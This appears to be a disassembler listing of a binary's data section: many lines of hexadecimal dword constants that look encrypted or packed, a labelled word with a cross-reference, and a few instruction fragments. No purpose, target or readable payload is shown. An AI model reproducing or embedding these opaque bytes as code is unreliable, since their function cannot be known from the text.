		dd 26F83472h, 39B8B6Ch,	5A44D694h, 0FBh, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 53E55BDCh, 9C9847D9h, 0FD18B26h, 0A82h, 850F6000h, 0
		dd 0D661C38Ah, 8D3A97C6h, 579A1675h, 8FF7D5B9h,	41C6115Ah
		dd 8D458233h, 921969F9h, 69FC93A3h, 5B478A9Ah, 77C8FA73h
		dd 0D6437426h, 0EA1E9C73h, 953A8D9Eh, 6C9C1775h, 6D4575D3h
		dd 0EB0A9C73h, 35BFAFC6h, 0AD295CF8h, 0D6407424h, 34639C73h
		dd 0C9CAC3B0h, 9EC29857h, 6D589857h, 0E1049C73h, 3CAC9BB0h
		dd 0D195F20h, 0D5CF93A9h, 0D439C73h, 46C243F8h,	0B5558BF7h
		dd 49471523h, 4F984EF2h, 0D44CD112h, 0AD439C79h, 0D6CD9313h
		dd 3B439C73h, 0B44CFD2Ah, 82BDB83Fh, 85169C19h,	0B6439C70h
		dd 680C153h, 0A967F0FAh, 0D267D8F2h, 6B439C65h,	0D380C936h
		dd 5A4C00AAh, 6D439C77h, 87102715h, 5B419076h, 0F6BFCD73h
		dd 0DCF894F8h, 0D724F61h, 0DFBFD4F8h, 0D9ABCF73h, 4D439C73h
		dd 3F185F28h, 0DA47B82Fh, 0BA47B837h, 95439C73h, 5C3B5F20h
		dd 3BAB904h, 0DA4224B7h, 36109C73h, 0E25FC23h, 0D02553F7h
		dd 0A1CAFDBDh, 0B0941657h, 0EA2545FFh, 43AE79A0h, 5F4C98B2h
		dd 6D439D44h, 37254BF9h, 2A6B481h, 94C3ADC5h, 73C6931Bh
		dd 1439C72h, 0B6ABCE73h, 0FA439C73h, 0E4195F29h, 3747B827h
		dd 4247B837h, 0EF439C73h, 0F3D15F21h, 44FEA019h, 0DF42E5F8h
		dd 0D9ABCA73h, 4D439C73h, 3F1D5F2Dh, 0DA47B807h, 0B047B837h
		dd 90439C73h, 2B95F25h,	8029A8E7h
		db 0FBh, 29h
word_584F4E	dw 33h			; DATA XREF: ___:0042BEA8o
		dd 73811D15h, 0B6BC1DD9h, 54C39C73h, 0AD42D7F1h, 8643F673h
		dd 6B439F9Bh, 761BBC73h, 0FE07152Bh, 49071D77h,	0B6438A77h
		dd 9813DC73h, 1BE79B07h, 7AC65B45h, 6A45BC0Bh, 0DF439C73h
		dd 0D9ABC973h, 4D439C73h, 3F1E5F2Eh, 0DA47B81Fh, 0B147B837h
		dd 93439C73h, 7A285F26h, 41D01F9Ah, 3307D03Eh, 6D439C8Fh
		dd 5E169C19h, 5B439C70h, 0F080C153h, 0D267F0FAh, 6F67D8F2h
		dd 0B5439C6Fh, 3980C936h, 39512753h, 0F826F3BFh, 5B43909Ah
		dd 4704C73h, 0D737E4C7h, 474A85D5h, 3425CE3Fh, 815AE8B0h
		dd 6D432B9Ah, 0E443F673h, 5B439F9Bh, 6E19BC73h,	0F2171529h
		dd 4F071D77h, 0B5438B77h, 1911DE73h, 8D5D7FCFh,	0B9C89313h
		dd 0B2439C73h, 0AD439C79h, 1A0BD2BFh, 27194B70h, 0EC224198h
		dd 0DA43959Ah, 3ACE2573h, 4C0DF295h, 0D8252073h, 0A2BC970Ah
		dd 0D643FBF7h, 68C69373h, 0BA439C73h, 5F8445C4h, 6B63E4DFh
		dd 0B6439C72h, 0B3159C19h, 0AD439C70h, 8880C253h, 6F67E8FAh
		dd 0B167D8F2h, 0DA439C6Eh, 0F580CA35h, 0D0BDBAA9h, 9416C852h
		dd 0B5C19382h, 3F439C73h, 6B439C60h, 31340CCFh,	0E70723BFh
		dd 8F3253A6h, 0F73FE121h, 3B52C5F4h, 0AD45157Ch, 5F4C9C73h
		dd 6B439C73h, 67F49312h, 0F4933Bh, 7E8EDBCAh, 0DBC61119h
		dd 0D645BC0Eh, 8D384BCEh, 0A2BBA775h, 0BA4CAC74h, 40A8DBBAh
		dd 8D991C86h, 719621F0h, 0B9429A68h, 5B4308F7h,	0FF43F673h
		dd 0D6439F9Bh, 0A819BC73h, 91171529h, 0FE071D77h, 6D438577h
		dd 7511DE73h, 5382984Fh, 0BFABBFBDh, 6E439C73h,	0B6DF597Dh
		dd 60BF0C08h, 0C680213Bh, 0DD52C43h, 0A7CB93ECh, 0B2439C73h
		dd 0AD439C7Fh, 8B559969h, 0F8AC0FDFh, 2DAE81D3h, 7C8C1C29h
		dd 73E621F0h, 0B9439A68h, 5B43A8F6h, 0F843F673h, 0D6439F9Bh
		dd 0A81EBC73h, 912F152Eh, 0FE071D77h, 6D438477h, 7516D973h
		dd 572A1EC8h, 93DB26CAh, 6BC0AE69h, 6D588F46h, 0AEC79373h
		dd 51439C73h, 6DDE75ACh, 0B9AA9C73h, 8439C73h, 0CA1EAFB7h
		dd 6EFFAA22h, 55F3B474h, 8C0DC71h, 0DC5880A6h, 2DC69372h
		dd 0D0439C73h, 0D1D60FC9h, 59C9C1ADh, 0D3ABFCB0h, 26439C73h
		dd 0E083B363h, 0DA431D7Ch, 0C1D9C73h, 0B643C69Ah, 843F673h
		dd 0AD439F9Bh, 1518BC73h, 4F1F1528h, 91071D77h,	0DA438A77h
		dd 0AE10DF73h, 0EBB89DD0h, 0B3129C19h, 0AD439C70h, 8F80C553h
		dd 6F67D0FAh, 0B167D8F2h, 0DA439C68h, 3080CD32h, 5167318Ah
		dd 3D028C0Ch, 15EA56F2h, 0D64975BCh, 73329C73h,	0EB5C2417h
		dd 0CAD977D0h, 0E0305EF3h, 963B7ACEh, 61CE1175h, 1545BC0Eh
		dd 0AD79C06Eh, 67F61940h, 7A689A68h, 0CA4175B2h, 197E8EDBh
		dd 0EDBC611h, 0CED645BCh, 758D384Bh, 74A2BBA7h,	83BA4CACh
		dd 0A4F305E9h, 78ACBD83h, 74000620h, 0D38D8D0Dh, 0B8061B4Ch
		dd 1, 6A40E1FFh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 9CBBC356h, 5C5CE7FBh, 0BB22E1A3h
		dd 6FC7C6B6h, 2DE883F8h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 50BE21C3h, 0E381E951h
		dd 34983DA4h, 0A343A3BAh, 0E281663Ch, 0BD831E38h, 61B23D1h
		dd 83097500h, 1B3129BDh, 19740006h, 0C08B5350h,	3FCB8h
		dd 31858900h, 8D061B21h, 1DA6B49Dh, 5BD3FF06h, 29BD8358h
		dd 61B31h, 53501774h, 3FCB8h, 31858900h, 8D061B21h, 1DA3559Dh
		dd 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 815BE87Eh, 41E8E3DBh, 0EB816615h
		dd 0C08B093Bh, 0AE8h, 8B3BD600h, 374F8958h, 0F57CF544h
		dd 8199B45Eh, 6D5FC6h, 33CBB200h, 0E3C8BC9h, 198C0Fh, 14E90000h
		dd 45000000h, 0B8641871h, 0EBA35E1Fh, 0F352109Ah, 1D2E2F5Eh
		dd 8161B5DBh, 0CB6E5F7h, 78C7817Eh, 0F838C2B0h,	0FE5FEF81h
		dd 12E939DEh, 0A000000h, 25893E59h, 0E2AB729Fh,	3FB6E514h
		dd 0C542E470h, 0E3C89D8h, 0C7ABB66h, 3830Fh, 8B660000h
		dd 2E983C1h, 11E8h, 0F24D6A00h,	0A6AC3A10h, 17DE4D1Eh
		dd 2316B3D9h, 10E95D6Dh, 0DD000000h, 4A875C60h,	0AA7B5F13h
		dd 3EA3C3AAh, 5B29F313h, 42B24949h, 9358F981h, 850FFFFFh
		dd 0FFFFFF65h, 2840Fh, 0D38B0000h, 15CE9h, 881FBB00h, 904B81F2h
		dd 82589194h, 89562B08h, 8A56F051h, 81589708h, 0AA719D51h
		dd 0F8248F38h, 0D825A351h, 6C7939C6h, 0BFB6BD62h, 0CE149750h
		dd 0CE159F51h, 0CE14DB51h, 0CE14E951h, 0CE14F651h, 0CE147B51h
		dd 0CE149251h, 0CE14DE51h, 0CE146751h, 0CE14B751h, 0BD6D8851h
		dd 0CE798825h, 0A166A671h, 0BD671E32h, 0CE14BD0Ch, 0CE14DE51h
		dd 0CE146F51h, 0CE14B751h, 0CE14DB51h, 0CE14ED51h, 0CE14F651h
		dd 0CE147B51h, 0CE14BD51h, 0CE14DE51h, 0CE146F51h, 0CE14B751h
		dd 0CE14DB51h, 0CE14ED51h, 0CE14F651h, 0CE147B51h, 0CE14BD51h
		dd 0CE14DE51h, 0CE146F51h, 0CE14B751h, 0CE14DB51h, 0CE14ED51h
		dd 0CE14F651h, 0CE147B51h, 0CE14BD51h, 0CE14DE51h, 0CE146F51h
		dd 0CE14B751h, 0CE14DB51h, 0CE14ED51h, 0CE14F651h, 0CE147B51h
		dd 0CE14BD51h, 0CE14DE51h, 0CE146F51h, 0CE14B751h, 0CE14DB51h
		dd 0CE14ED51h, 0CE14F651h, 0CE147B51h, 0CE14BD51h, 0CE14DE51h
		dd 0CE146F51h, 0CE14B751h, 0CE14DB51h, 0CE14ED51h, 0CE14F651h
		dd 0CE147B51h, 0CE14BD51h, 0CE14DE51h, 0CE146F51h, 0CE14B751h
		dd 0CE14DB51h, 0CE14ED51h, 0CE14F651h, 0CE147B51h, 0CE14BD51h
		dd 0CE14DE51h, 0CE146F51h, 0CE14B751h, 0CE14DB51h, 591ABF51h
		dd 1578E914h, 65680000h, 0E9062082h, 0FFFBC570h, 20835D68h
		dd 0C566E906h, 0FC68FFFBh, 0E9062083h, 0FFFBC55Ch, 2084C868h
		dd 0C552E906h, 1068FFFBh, 0E9062086h, 0FFFBC548h, 20876B68h
		dd 0C53EE906h, 1A68FFFBh, 0E9062088h, 0FFFBC534h, 20892C68h
		dd 0C52AE906h, 6F68FFFBh, 0E906208Bh, 0FFFBC520h, 208C5368h
		dd 0C516E906h, 0FC68FFFBh, 0E906208Ch, 0FFFBC50Ch, 208D7668h
		dd 0C502E906h, 0B068FFFBh, 0E906208Eh, 0FFFBC4F8h, 2093FA68h
		dd 0C4EEE906h, 0B968FFFBh, 0E9062094h, 0FFFBC4E4h, 0F7C98B34h
		dd 5927251Ah, 0ECC68038h, 5729211Fh, 0F7C9873Ah, 1E211CE4h
		dd 6F534032h, 3E0011DFh, 4E6D1E14h, 0CD5208FAh,	0F122A7D5h
		dd 0FFD72C4Ah, 3E3C0C33h, 74041E89h, 4B4CD1A2h,	62D4D676h
		dd 0AE6B79DDh, 0D0A8BA8Fh, 0AF4CD1A2h, 1DA34EACh, 0B81E9F54h
		dd 1628542Eh, 5E4B47D0h, 1B52CC45h, 1E6968Ch, 89ED4ACAh
		dd 176061Ch, 197D4ACAh,	1614820Bh, 74D2EAA1h, 0BCD6C076h
		dd 4ACA01B8h, 0E44622E9h, 50CA38B9h, 3821h, 7A24D300h
		dd 22AFA334h, 0EF52CCB3h, 0C5B7B187h, 0B44ACA93h, 1C3729A7h
		dd 4F732306h, 18812FFh,	8CC47F5Ch, 492E38AEh, 50CA09E4h
		dd 0E24Ch, 3E00DB00h, 0B6A01614h, 3C0C33C0h, 0CE823D3Eh
		dd 0A4D4CE59h, 2F4CD1A2h, 1EDBDDC7h, 0C7A6A61Fh, 0CEBA94A7h
		dd 1E1C300Dh, 3F3C3EA8h, 0AD2C4580h, 0A9CAA767h, 240B453Bh
		dd 0F54CD121h, 63300246h, 132EED5Ch, 97893B3Dh,	4CD121E1h
		dd 201A8CEAh, 7DCFECAFh, 0EFDBC97Bh, 621A084Dh,	694CD121h
		dd 140E970Dh, 52CC3C07h, 0A6D6AC0Ah, 0C9D94E94h, 54DDE664h
		dd 0CC7A4219h, 0E16E78EEh, 3634122Ah, 5DC78B35h, 0C37D5EC7h
		dd 4907BA8Fh, 7EE7FD6Fh, 39AEA29Dh, 0F8F26062h,	0B1625046h
		dd 832C28Eh
		dd 0F35DEA18h, 12EED095h, 0F5CE0000h, 0BB80915Fh, 0CAF29F91h
		dd 0B785867Ch, 0D1EC9D93h, 56AAB17Fh, 7E74DCE7h, 0A39DB18Dh
		dd 7C76DCE6h, 0AA98B08Fh, 0C5B3AF30h, 0E4AF120h, 1033A1B5h
		dd 9AA17240h, 24A2D4AEh, 0AFA3347Ah, 52CCB322h,	0CF813CEFh
		dd 0B6D6345h, 9C4ACA93h, 0CFCCAEA0h, 0C5D5BF3h,	876E61FFh
		dd 1786E880h, 7F50CAAEh, 0D5h, 470BB596h, 1BE9FB71h, 3F31647Fh
		dd 3CB590A8h, 7B4A712Ah, 7DA3CD1Ch, 2A5240BCh, 0B14CD11Bh
		dd 6345CF45h, 546A9BA6h, 0C2B898ABh, 2E0C9A0Ch,	0D11F0D34h
		dd 2B1D1C4Ch, 0C3853455h, 8BC67952h, 0D11FE197h, 1A8CEA4Ch
		dd 379D2B20h, 5875649Ch, 12E2D8CEh, 9DB52268h, 52CC9DBCh
		dd 5F1B1581h, 746EF73Dh, 54DD4A1Ch, 51C64FC7h, 8E84C27Ah
		dd 4CD70EEEh, 29381F5h,	4208B695h, 2BE0F668h, 494A3818h
		dd 0FA2ADA76h, 0F55DEABBh, 11F6D293h, 0EDD60000h, 0C3789967h
		dd 0E2DAB789h, 0BF7D8E64h, 0E9D4B58Bh, 0BE429967h, 0B68CC47Fh
		dd 8B65E9D5h, 0B48EC47Eh, 9260E8D7h, 3D3B57C8h,	0C64AF121h
		dd 1033995Dh, 9AA17240h, 4803D4AEh, 9BB38F74h, 0A7BD2F09h
		dd 3C0C33DDh, 0CA7E3D3Eh, 23231BF8h, 0D3754445h, 0DDC863DDh
		dd 0F2E075BBh, 52CCC60Dh, 0FFAF7ED8h, 8240907Ah, 43D41A44h
		dd 5DA96A4Fh, 0A97FF7A3h, 0EC79BFD9h, 4DC948F6h, 3EA70FA5h
		dd 18EA5E5Dh, 92B84C47h, 9599CF71h, 684204B4h, 142BE0F6h
		dd 66668034h, 73554F78h, 115772h, 0C68E3700h, 2A221FECh
		dd 0C3833B58h, 2C1E1CEDh, 0C68A3556h, 2C11E9ECh, 0A0713F11h
		dd 0D3C0B29Ch, 828F61F1h, 1DB38DBBh, 21D2AAB8h,	0CA194AF1h
		dd 3C0C33B4h, 0EAD2893Eh, 0D8824A5Ch, 200D0592h, 3552CCA5h
		dd 1B22EFC1h, 0C19A4B2Dh, 3A4250FBh, 0C14ACAA1h, 0E5D5BF55h
		dd 0F980D53h, 0B8E68114h, 0D0C6D3FEh, 0EAC156C2h, 6CF95D54h
		dd 5AEAAB77h, 5006E462h, 8F11AD43h, 843B1085h, 1E1DEEC4h
		dd 89F502Ah, 0EA6C621Ah, 170D694Ch, 52C30933h, 0CA3F3440h
		dd 44F4D752h, 0B6B1402h, 4EFAC19Ah, 0A0A89774h,	893615CAh
		dd 7EECE5C3h, 1349C3B6h, 0CBF0A93Bh, 95A79381h,	73CCC64Fh
		dd 2654D7AFh, 4CF404B0h, 317F5DE4h, 108B6Ch, 0FA5A6B00h
		dd 16360B08h, 0F74F6F1Ch, 18320809h, 0FA56692Ah, 0F04DD508h
		dd 0DCAD83CDh, 77946EE0h, 0DEAB85CDh, 0C19769DFh, 2636465Ch
		dd 66BD4AF1h, 0A29C7F90h, 1204BAB0h, 0F8CA8639h, 0BB2C720Ch
		dd 0CC9F4EA7h, 2D0B6B52h, 5FB4D6Ch, 15133504h, 78ED3345h
		dd 9380F4EFh, 9D12D7F9h, 4B689987h, 17554D7h, 0D08B4C27h
		dd 0D58761EBh, 6C5EFABFh, 0CBFD577h, 1F3560EFh,	0FBF5536Ah
		dd 8E175DFFh, 0CC037B94h, 0AF389E52h, 6A7CCEECh, 9CAC9390h
		dd 5FF9FE9Eh, 0B5226812h, 0D70F409Dh, 2F017554h, 0BED5B62h
		dd 0D10EA3D5h, 0B997644Ch, 0AE84C47Bh, 906ADEDDh, 394DA84h
		dd 690F0394h, 724CD12Eh, 6F4905B9h, 637D67FDh, 52CC2CBEh
		dd 0A31D1383h, 0C87E9527h, 3145B9D7h, 93A5957Fh, 0A6CAD84Dh
		dd 6554EA62h, 4E98E0F2h, 0F3634CEAh, 33FA5CE1h,	0D8784B00h
		dd 17E1E9E2h, 0F021D468h, 0A89B7066h, 0CEE625Dh, 891B330Fh
		dd 0EDD18A1Bh, 3B757361h, 4CEA1039h, 0E97DD7Fh,	0CA435014h
		dd 8A1B7B52h, 435FEAD1h, 4ACA6F35h, 0F4CE58BEh,	0B7202817h
		dd 6F4A3220h, 25914ACAh, 8538392Fh, 0DD2337CBh,	886A63FFh
		dd 0F4387h, 32222300h, 0DE6E5340h, 2F1727E4h, 0E06A5041h
		dd 123E0112h, 58E53D20h, 0F415EB65h, 5F2C0648h,	0F613ED65h
		dd 0A92F0147h, 245E1E34h, 3EA54AF1h, 41103338h,	0D1A22B51h
		dd 43FBB04Ch, 25AF2503h, 0A1B126AFh, 4CD1A2DBh,	0F5556B20h
		dd 0C1D341F3h, 0AA1B22EFh, 0BD124B2Bh, 4312FF17h, 53921A06h
		dd 31F2C85Eh, 0AF3C3E0Ah, 0F7C604DCh, 1F8E5F51h, 8756E56Eh
		dd 159h, 3C0C333Dh, 0CA7E3D3Eh,	2C720CF8h, 4F6F2CBBh, 3B0001F7h
		dd 7F918311h, 52CCC58Ah, 2383BCB7h, 422D7EBEh, 98DCD6D4h
		dd 94ACAC4h, 99046602h,	150CA75h, 53h, 0E98F8314h, 864ACACCh
		dd 34DF359Eh, 5711EEBh,	7A24250Fh, 19B0A334h, 0E9A62073h
		dd 5F75031Fh, 187E4CD1h, 980F988Eh, 6C4EFEC3h, 6DF6ECFAh
		dd 3052CC4Eh, 0CCC651C6h, 4ACA6EACh, 0D3D5BF37h, 0CA6E9BDDh
		dd 6701064Ah, 0CA139805h, 0A30050h, 33B60000h, 3D3E3C0Ch
		dd 2FECCE82h, 41423810h, 0A5964B7Ah, 2E017BF5h,	8E403A10h
		dd 0E5938F18h, 0EE4CD15Ch, 2E241E88h, 4CD15807h, 4F212716h
		dd 52C30933h, 384052C5h, 0C34CD158h, 85CB7653h,	0BC61818Fh
		dd 288E52C6h, 6FE1DCBFh, 0A3AD9081h, 169150Fh, 652A8864h
		dd 0DE8h, 635DF7C8h, 0BDB399A6h, 685AECCCh, 0BBB595ABh
		dd 635DF3CEh, 0AA95A870h, 3BFCCA6h, 0AA94754Bh,	2B9DAA8h
		dd 71E66C46h, 0F1251B61h, 7B83E04Ah, 72401033h,	3D132EEDh
		dd 0BE9B893Bh, 0E67749FFh, 6C5BBEDh, 11039AC1h,	3C0C3323h
		dd 0CA7E3D3Eh, 24241BF8h, 0DE243646h, 0A8885949h, 9E9552CCh
		dd 0EA671DD6h, 0F356694Bh, 0A412AAEDh, 0B9CEA432h, 766h
		dd 401033EDh, 0A20C706Ah, 0EA944CD1h, 651F33A4h, 8E52F1F1h
		dd 3B28BF28h, 9BFF8648h, 0A594759Fh, 50FC5A3h, 0DDD37544h
		dd 3D3B0D2Ch, 23CF813Ch, 64044533h, 39AF7042h, 1900000Dh
		dd 35562C28h, 1DEEC488h, 3A57291Dh, 1FECC684h, 0FF562C24h
		dd 0D17F42FBh, 400E32DFh, 0B39FA172h, 5BEDCCBDh, 786AEB65h
		dd 4AF12A00h, 7F6678CBh, 0A282FAE8h, 2B154CD1h,	0F29B5127h
		dd 79FF1384h, 824CD1A2h, 76490214h, 142BE8DAh, 0A25F1D35h
		dd 0E7A44CD1h, 73E173DBh, 83C57475h, 0EF8D8512h, 0C4CD1A2h
		dd 0D1A26616h, 84096D4Ch, 65260412h, 9DDBF75Ah,	664CD1A2h
		dd 878466F0h, 0FD9A90B8h, 162462FEh, 2A59A234h,	0B8A7BCAEh
		dd 0B79F9776h, 0A7967361h, 71E36956h, 0BB3F6E7Fh, 23F856E5h
		dd 5D372D1Dh, 0Dh, 9C98FA87h, 795E4CD1h, 0FFFFFDB9h, 0A286FA2Dh
		dd 0A6654CD1h, 0D6A6B096h, 0F9E97EC4h, 52F1F167h, 0B9BFD344h
		dd 424AF1DDh, 0D93DC2D4h, 0B1C7DB4Ch, 3A4AF1DDh, 7E5DCADCh
		dd 26B789BFh, 0DDDBA1B1h, 4CB44AF1h, 15FD0D07h,	0CED83EBFh
		dd 8D1A2E0Dh, 1070081Ah, 1B7B4AF1h, 4F722F09h, 0C28F7101h
		dd 98FA6404h, 0C27D7h, 163E0700h, 0FA526F1Ch, 13330B08h
		dd 0FC4E6C1Dh, 163A0506h, 5CE1391Ch, 1001EF61h,	4350222Ch
		dd 32DFD181h, 8D433D0Bh, 2B621A08h, 1A694AF1h, 3C0C3344h
		dd 0A59A893Eh, 2B1D1CD8h, 1C4AD836h, 0DE6A510Ah, 0E47C8FDCh
		dd 5A6697A6h, 2EBDF6F4h, 0F8F78D80h, 0F3CD57CDh, 57CA7162h
		dd 0A2F65C11h, 0A94AB3B4h, 12B256E5h, 0E4000000h, 0AEA09C7Fh
		dd 9CC8AAB8h, 490E4CD1h, 0FFFFFCE1h, 347A247Dh,	78D2E8A3h
		dd 0ECE9F96Eh, 8952CC8Eh, 332FB82Dh, 4ACABE45h,	3C3E288Eh
		dd 0CABE7506h, 7F591E4Ah, 0CABEF01Dh, 2015850h,	78EF0000h
		dd 0CA86126Ah, 677DD94Ah, 0A296FA9Dh, 38544CD1h, 0B9CAC93h
		dd 0A2F6869Ch, 99FD4CD1h, 0E5D4B58Bh, 814B8563h, 384CD1A2h
		dd 5867A543h, 570202F0h, 4C65158Eh, 492A4D2h, 0F2566526h
		dd 1C2C1300h, 8380241Eh, 0CD774CD1h, 0DBE6A385h, 15E67375h
		dd 9E6D483Bh, 79C3D0C2h, 0F36AC88Ah, 3A634452h,	0A256E4FBh
		dd 197h, 0F10C3354h, 821381CDh,	8F893891h, 0D169E593h
		dd 9B88EE4Ch, 5046D97Ch, 6072E55Ah
		dd 4CD12C18h, 0A86173E3h, 0FB4D6C91h, 48DD47FDh, 225A48DFh
		dd 0A94CD12Ch, 2C25534Dh, 48AE4CD1h, 18F3645Eh,	523A2C26h
		dd 9675E228h, 16C8A2A8h, 8E7B9700h, 0B352CC4Bh,	96B6543h
		dd 784ACA0Fh, 1A2C0CCFh, 0D3B8AE20h, 2E4AB315h,	100350CAh
		dd 0A869A910h, 0F1616314h, 3D937163h, 41000000h, 9AB17A24h
		dd 1820A1EEh, 72D6E5A6h, 0C750C678h, 0CC4746CBh, 0DEB4B52h
		dd 0CA67A1D3h, 4D0BD04Ah, 0CA1AC2EBh, 0D42A50h,	263D0000h
		dd 677ED0BFh, 0D6CC5910h, 4ACAE1A6h, 0E9DBC92Dh, 3E3C0C33h
		dd 0D4CF823Dh, 2A51BC18h, 9EDEF4F2h, 7D4CD140h,	0D1401765h
		dd 0D57ADC4Ch, 0A962F361h, 0BC1B793h, 0F833B916h, 0EAFCC6F0h
		dd 1C2C1310h, 0EA5E5D1Eh, 0FAA2667Dh, 0AF4E2D3Bh, 685CBA5h
		dd 0F74CD130h, 4408B548h, 7A24E0D2h, 53AFA334h,	9452C6E4h
		dd 0A3690F03h, 4724ACCh, 1BE6D12h, 6DF76D4Bh, 302023F8h
		dd 0E26E5142h, 1117852h, 80856364h, 9E4h, 6759FBC4h, 0C9B795AAh
		dd 5C56F0C8h, 0C7B991AFh, 6759F7CAh, 0AE91AC74h, 0FFC3D0A2h
		dd 8EB0614Fh, 1E1DEEC4h, 1D82582Ah, 0F1297705h,	4F277C4Ah
		dd 0AA9C9C7Fh, 53081ED0h, 4D12E070h, 0A2B0C8DAh, 0DB3B4CD1h
		dd 1F2910C9h, 0E87F2B51h, 67411133h, 0A29DDBF5h, 0F0664CD1h
		dd 321625E6h, 0C4843B38h, 37019EEh, 6ACD0000h, 0DC223C23h
		dd 0A858584Bh, 266AA0A1h, 0DEABA730h, 352F168h,	0AC6FC893h
		dd 0BCBDBB8Dh, 0F76D4BFDh, 0E993776Dh, 0E6A532A3h, 0C07674DAh
		dd 7CDBBCD6h, 68CE54ECh, 4C245892h, 86554CEAh, 0ED4568CAh
		dd 0FBAD56A9h, 57000002h, 82FAE87Fh, 494CD1A2h,	97E9F7EDh
		dd 0EF4CD1A2h, 4CD1A29Ch, 0B92E7406h, 49D208AAh, 0DBC9E203h
		dd 0D5EF584Ah, 0C6A52CCh, 0FF479478h, 0F4F9D763h, 900h
		dd 7B75DFE0h, 0A59BB18Eh, 8072D4E4h, 0A39DAD93h, 7B75DBE6h
		dd 0C27DC058h, 0EBD7B48Eh, 0C27C8D63h, 0CAF1A290h, 49CE847Eh
		dd 0F12E2359h, 835BA84Ah, 0CAF10C33h, 5CCA7C7Eh, 0A6EC8E5Eh
		dd 0F14B2131h, 67052F1h, 0E82E502Ch, 8E09637Fh,	5DCA54D1h
		dd 0D1A23745h, 4C5ABC4Ch, 9C253C3h, 70081A35h, 7B4CD1A2h
		dd 26B7891Bh, 0A2DBA1B1h, 0B6204CD1h, 0A326B2A0h, 0E054CD1h
		dd 0BCB963E8h, 2814029Fh, 33E0D218h, 0A8693F0Fh, 0B1C1B791h
		dd 0BED44187h, 52CCB119h, 0F55D6724h, 0AA5341F3h, 67DEB84Ch
		dd 0BB0D63FFh, 857BAh, 0C68E3700h, 2A221FECh, 0C3833B58h
		dd 2C1E1CEDh, 0C68A3556h, 2C11E9ECh, 0A0713F11h, 0D3C0B29Ch
		dd 828F61F1h, 1DB38DBBh, 2ED2AAB8h, 0CA194AF1h,	347A24B4h
		dd 0F1D5AFA3h, 98FE52F1h, 0DE704C0Fh, 0E81B27E4h, 0CEE78D2h
		dd 0A6D6CC5Bh, 2D4AF1DDh, 4DEFDBC9h, 0E4849E07h, 0F54D18Eh
		dd 97C1D1A7h, 31CEC451h, 0E452CCB5h, 0D7E71A27h, 0C36FE56Fh
		dd 63FF4305h, 0DDDDA2F0h, 0BD000007h, 0B1625004h, 21F2C08Ch
		dd 36532D19h, 23F0C288h, 1B423020h, 0C58B3607h,	2C221EEBh
		dd 0C78B3556h, 272118F9h, 41E7F59h, 4AF12F74h, 3352247Fh
		dd 7FCBF10Ch, 7BD5E8A9h, 7C7D7BE9h, 0D07A40BDh,	0E4176446h
		dd 0EE0F2E6Ch, 251BF9D2h, 4A18769Eh, 0FE68DEDCh, 14BAE304h
		dd 432256E5h, 0D4000001h, 3E3C0C33h, 0F8CA7E3Dh, 60A9720Ch
		dd 0A13DE310h, 120095FFh, 52CC9319h, 0E2D8D244h, 4ACAD79Eh
		dd 0BB83580Bh, 38B0998Bh, 0CA66A7D6h, 4A0F50h, 24C50000h
		dd 34A3347Ah, 5E36B57h,	0C64B454Fh, 0E352CCB3h,	675AD2F0h
		dd 6B797557h, 0DFAAF1E2h, 0AF743531h, 1D4E1CA2h, 0E97B9C51h
		dd 95455E0Fh, 843AF4C8h, 0EB79D1EFh, 0D595E7F9h, 0F7044ACAh
		dd 6886F759h, 0B9EE50CAh, 18000000h, 3E3C0C33h,	59CE823Dh
		dd 978DBB82h, 6FD9E0A1h, 87C17879h, 8EC09FB9h, 2B94CD1h
		dd 0EE906C46h, 0CF233FA8h, 0F052C65Ah, 1DED8B87h, 80F64ACCh
		dd 35168116h, 0F7D4C286h, 493044Ch, 0CC1D6E0Eh,	1301754Ah
		dd 7FABB81Dh, 18D6A2h, 2E11CADCh, 0CE09222h, 0FDCB6402h
		dd 6A3F8h, 92C28300h, 7ECEF3A0h, 8FB78784h, 80CAF0A1h
		dd 72DEE1B2h, 78C55D80h, 0D4B58BC5h, 7F8C66E8h,	0D6B38DC5h
		dd 0C98F61E7h, 2C3E3E54h, 5EC54AF1h, 41103398h,	0D1A22B51h
		dd 4D46B04Ch, 0F6ADC36Eh, 0C95EC89Bh, 0F2992A12h, 0AA91B9F6h
		dd 7DEFC95Bh, 0C1789967h, 6724B987h, 12E4F25Ah,	3E3C0C33h
		dd 0F8CA7E3Dh, 2D17h, 0D66ABF00h, 0BA2B710Bh, 0F1F1C2A8h
		dd 0E289ED52h, 0FEA08F5Ch, 54332FB8h, 9154D18Eh, 0A26C0C06h
		dd 0FF774CD1h, 5F0E6815h, 48A4h, 7A245200h, 62AFA334h
		dd 2F52CCA0h, 677CF1C7h, 0BF2365Bh, 0D1BFD51Bh,	7AB3D88Eh
		dd 340FCC8Bh, 0A7410A1Ch, 6DFA405Ah, 2816AC75h,	0EDD289ABh
		dd 0C1D3895Fh, 9CB48F3Ch, 0C4BE289Eh, 0B2C3h, 0C7775400h
		dd 2133A97Fh, 347A2453h, 0F1DDAFA3h, 450652F1h,	62D4D67Ah
		dd 4B2BF871h, 49238B8h,	4B05B893h, 9F99AF8Eh, 149E372Dh
		dd 2BA5B6D7h, 0C52464C9h, 60CC50h, 24FA0000h, 0E8A3347Ah
		dd 0CB8177D1h, 35564CD9h, 0F052F1F1h, 0DD0D6B67h, 60D64AF1h
		dd 0B5B393ABh, 0E6815FFh, 0A7E00989h, 719CFEDAh, 0D950C560h
		dd 2Eh,	0A09C7F0Bh, 0AAD4B8AEh,	0BD272319h, 0F1503A28h
		dd 177F52F1h, 96F7F47Eh, 84A90BC5h, 3D50C55Ch, 3B532226h
		dd 0C0D62B0Ch, 1A06h, 0E87FB000h, 0D1A282FAh, 9DA2494Ch
		dd 212F25AFh, 4CD18CE7h, 0FF106223h, 2494FFFFh,	7BD7E97Ah
		dd 0B2667CE9h, 9152F122h, 714705BAh, 2296E6FCh,	0F95D4AF1h
		dd 62D4796Bh, 0A1BCD788h, 3514E8DEh, 44562630h,	0E4FE69FEh
		dd 4AF1D494h, 0D41D5B77h, 70E64AF1h, 8CB267CFh,	1C0ABCBEh
		dd 823F1C8Bh, 0D4A1D7CBh, 0CC2A4AF1h, 0F8EE605Ah, 0D18783EAh
